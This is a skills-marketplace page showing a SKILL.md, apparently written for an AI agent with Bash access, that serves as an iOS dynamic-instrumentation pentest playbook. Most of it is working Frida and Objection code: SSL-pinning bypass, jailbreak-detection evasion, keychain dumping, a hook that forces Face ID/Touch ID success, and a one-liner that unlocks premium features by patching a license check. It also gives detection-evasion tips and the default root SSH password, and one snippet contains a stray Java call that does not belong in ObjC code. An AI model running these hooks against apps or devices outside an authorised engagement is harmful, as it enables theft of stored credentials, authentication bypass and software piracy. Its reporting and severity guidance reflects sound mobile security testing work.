Skip to main content

dynamic

iOS dynamic instrumentation on jailbroken device — Frida/Objection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric/LAContext bypass, and ObjC runtime method hooking.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٣٠ مايو ٢٠٢٦ في ١١:٤١
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
dynamic
description
iOS dynamic instrumentation on jailbroken device — Frida/Objection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric/LAContext bypass, and ObjC runtime method hooking.
allowed-tools
Bash Read Write
metadata
{"subdomain":"mobile","when_to_use":"ios dynamic frida objection jailbreak ssl kill switch pinning bypass keychain dump biometric faceid touchid lacontext jailbreak-detection palera1n unc0ver checkra1n cycript","tags":"ios, frida, objection, ssl-pinning, jailbreak, keychain, biometric, lacontext","mitre_attack":"T1635, T1521.003, T1517, T1633"}
# iOS Dynamic Instrumentation Playbook > Jailbroken device required for full Frida/Objection access. Most > enterprise and bounty-program iOS testing falls here. For static-only > analysis (no jailbreak) see `reverser/ios-static/SKILL.md`. ## Prerequisites - iOS device jailbroken with **palera1n** (A8-A11 on iOS 16+), **checkra1n** (A5-A11, up to iOS 14.8), or **unc0ver** (A12+ up to iOS 14.8 with supported blobs). Confirm with `uname -v` in SSH. - Frida server installed via Cydia / Sileo (search "Frida") or manually: ```bash # SSH to device (default Cydia SSH cred: alpine) ssh root@<device-ip> # Verify jailbreak + SSH works id # should return uid=0(root) uname -v ``` - Host side: `pip install frida-tools objection` - Confirm connectivity: ```bash frida-ps -U # lists processes on USB-connected device ``` ## Path A: SSL Pinning Bypass ### SSL Kill Switch 2 / 3 Install via Cydia/Sileo (search "SSL Kill Switch 2" or "SSL Kill Switch 3" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch. Relaunch the app; verify traffic appears in Burp (set device proxy to Burp listener IP:8080, install Burp CA as trusted profile via Settings → General → VPN & Device Management). ### Objection pinning disable (preferred for on-demand toggle) ```bash # Attach to running app objection --gadget "TargetApp" explore # In the Objection REPL: ios sslpinning disable # Verify: open the app, check Burp proxy for decrypted HTTPS ``` ### Frida codeshare scripts (NSURLSession / AFNetworking / TrustKit) ```bash # Universal iOS pinning bypass (covers NSURLSession, Alamofire, AFNetworking) frida -U -f com.target.bundle \ --codeshare "wan-make/ios-ssl-pinning-bypass" \ --no-pause # TrustKit-specific bypass frida -U -f com.target.bundle \ --codeshare "machorka/trustkit-bypass" \ --no-pause ``` ### Manual Frida script for custom pinners ```javascript // Hook SecTrustEvaluate + SecTrustEvaluateWithError // Load with: frida -U -f com.target -l bypass-pin.js if (ObjC.available) { var SecTrustEvaluateWithError = Module.findExportByName( "Security", "SecTrustEvaluateWithError"); if (SecTrustEvaluateWithError) { Interceptor.replace(SecTrustEvaluateWithError, new NativeCallback(function(trust, error) { if (error !== 0) Memory.writePointer(error, ptr(0)); return 1; // errSecSuccess }, 'int', ['pointer', 'pointer'])); } } ``` Verify in Burp: `HTTPS` traffic from the target app appears decrypted. ## Path B: Jailbreak-Detection Bypass ### Objection built-in ```bash objection --gadget "TargetApp" explore # Disable JB detection (covers fileExistsAtPath Cydia checks + fork()) ios jailbreak disable ``` ### Common detection patterns to hook manually | Pattern | API to hook | |---|---| | File presence (`/Applications/Cydia.app`, `/bin/bash`) | `NSFileManager fileExistsAtPath:` | | URL scheme (`cydia://`) | `UIApplication canOpenURL:` | | `fork()` syscall return | `fork` (libc) | | `/proc/self/maps` inspection | `open` / `fopen` | | Dyld image name scan | `_dyld_get_image_name` | ```javascript // Frida: hook fileExistsAtPath to suppress JB file checks var NSFileManager = ObjC.classes.NSFileManager; var orig = NSFileManager["- fileExistsAtPath:"].implementation; Interceptor.replace(orig, ObjC.implement( NSFileManager["- fileExistsAtPath:"], function(self, sel, path) { var p = ObjC.Object(path).toString(); var jbPaths = ["/Applications/Cydia.app", "/bin/bash", "/usr/sbin/sshd", "/etc/apt", "/private/var/lib/apt/"]; for (var i = 0; i < jbPaths.length; i++) { if (p.indexOf(jbPaths[i]) !== -1) return 0; // false } return orig(self, sel, path); } )); ``` ### Liberty Lite / A-Bypass (tweak-side) Install Liberty Lite or A-Bypass from Cydia/Sileo → enable per-app toggle before launch. Faster than scripting for commodity JB checks. ## Path C: Keychain Dump ### Objection keychain dump ```bash objection --gadget "TargetApp" explore # Dump all items accessible in app context ios keychain dump # Output: account, service, access group, kSecAttrAccessible class, value ``` ### Frida hook on SecItemCopyMatching ```javascript // Log every keychain query result var SecItemCopyMatching = Module.findExportByName( "Security", "SecItemCopyMatching"); Interceptor.attach(SecItemCopyMatching, { onEnter: function(args) { this.result = args[1]; }, onLeave: function(retval) { if (retval.toInt32() === 0 && !this.result.isNull()) { var items = new ObjC.Object(this.result.readPointer()); console.log("[KC]", items.toString()); } } }); ``` ### `kSecAttrAccessible` misconfig findings | Value | Finding | |---|---| | `kSecAttrAccessibleAlways` | Critical — readable without unlock, even after reboot | | `kSecAttrAccessibleAlwaysThisDeviceOnly` | High — readable without unlock | | `kSecAttrAccessibleAfterFirstUnlock` | Medium if secrets are high-value | | `kSecAttrAccessibleWhenUnlocked` | Acceptable baseline | | `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` | Secure — requires passcode | ## Path D: Biometric / LAContext Bypass ### Hook evaluatePolicy to always succeed ```javascript // Bypass LAContext biometric prompt — returns kLAErrorSuccess var LAContext = ObjC.classes.LAContext; Interceptor.attach( LAContext["- evaluatePolicy:localizedReason:reply:"].implementation, { onEnter: function(args) { // args[3] = reply block (id, NSError*) var replyBlock = new ObjC.Block(args[3]); var origImpl = replyBlock.implementation; replyBlock.implementation = function(success, error) { origImpl(1, null); // force success=YES, error=nil }; } } ); ``` ### Objection biometric bypass ```bash objection --gadget "TargetApp" explore ios ui biometrics_bypass ``` ## Path E: ObjC Runtime Method Swizzling (License / Auth Checks) ```javascript // Example: patch -[LicenseManager isPremiumUser] to return YES Java.perform(function() {}); // no-op; use ObjC.available block var LicenseMgr = ObjC.classes.LicenseManager; if (LicenseMgr && LicenseMgr["- isPremiumUser"]) { Interceptor.replace( LicenseMgr["- isPremiumUser"].implementation, ObjC.implement(LicenseMgr["- isPremiumUser"], function(self, sel) { console.log("[+] isPremiumUser hooked -> returning YES"); return 1; }) ); } ``` ```bash # One-liner attach to running process frida -U -n TargetApp -e "ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});" ``` ## Evidence Capture Burp traffic screenshot showing decrypted HTTPS after pinning bypass. Save keychain dump to `/workspace/evidence/mobile/<bundle-id>/keychain.txt`. ```python kg_add_node( kind="finding", label="iOS SSL pinning bypassable", props={ "key": f"ios-ssl-pin::{bundle_id}", "severity": "high", "cvss": 7.4, "bundle_id": bundle_id, "bypass_method": "objection+ssl-kill-switch", "traffic_captured": True, }, ) kg_add_node( kind="finding", label="iOS keychain kSecAttrAccessibleAlways item", props={ "key": f"ios-keychain-acl::{bundle_id}", "severity": "critical", "service": "<service-name>", "account": "<account-name>", "accessible_class": "kSecAttrAccessibleAlways", }, ) ``` ## ZFP Two-method evidence per finding: 1. **Pinning bypass**: Burp HTTP history screenshot with decrypted HTTPS requests from the target app visible. 2. **Keychain misconfig**: `ios keychain dump` output showing `kSecAttrAccessibleAlways` class + sensitive value. 3. **Biometric bypass**: screen recording of the app unlocking without presenting a Face ID prompt after the hook fires. ## OPSEC Notes - Jailbreaking leaves fingerprints: jailbroken device connects to Apple ID — use a dedicated Apple ID for testing; avoid using personal iCloud account. - Frida injects a Gadget dylib; some apps detect `frida-agent` in the dyld image list. Counter: Frida Gadget injection via `objection patchipa` or `optool` (embed Gadget, re-sign with `codesign`). - SSL Kill Switch modifies a system library; some app-layer integrity checks may detect it. Script-based bypass (injected Frida) leaves fewer static artifacts than a system tweak. - `palera1n` tethered jailbreak: device reboots to unjailbroken state; re-jailbreak each power cycle during long engagements. ## Severity Table | Bug | Severity | |---|---| | Keychain `kSecAttrAccessibleAlways` with auth token | Critical 9.5 | | SSL pinning fully absent or bypassable without JB | High 8.0 | | Jailbreak detection absent | Informational | | Biometric bypass exposing auth flow | High 7.5 | | `kSecAttrAccessibleAfterFirstUnlock` with secrets | Medium 5.5 | ## References - palera1n: https://github.com/palera1n/palera1n - Frida: https://frida.re/docs/ios/ - Objection: https://github.com/sensepost/objection - SSL Kill Switch 3: https://github.com/Tym0n/SSL-Kill-Switch3 - Codeshare universal bypass: https://codeshare.frida.re/@wan-make/ios-ssl-pinning-bypass/ - Cross-ref static analysis: `reverser/ios-static/SKILL.md`
عرض على GitHub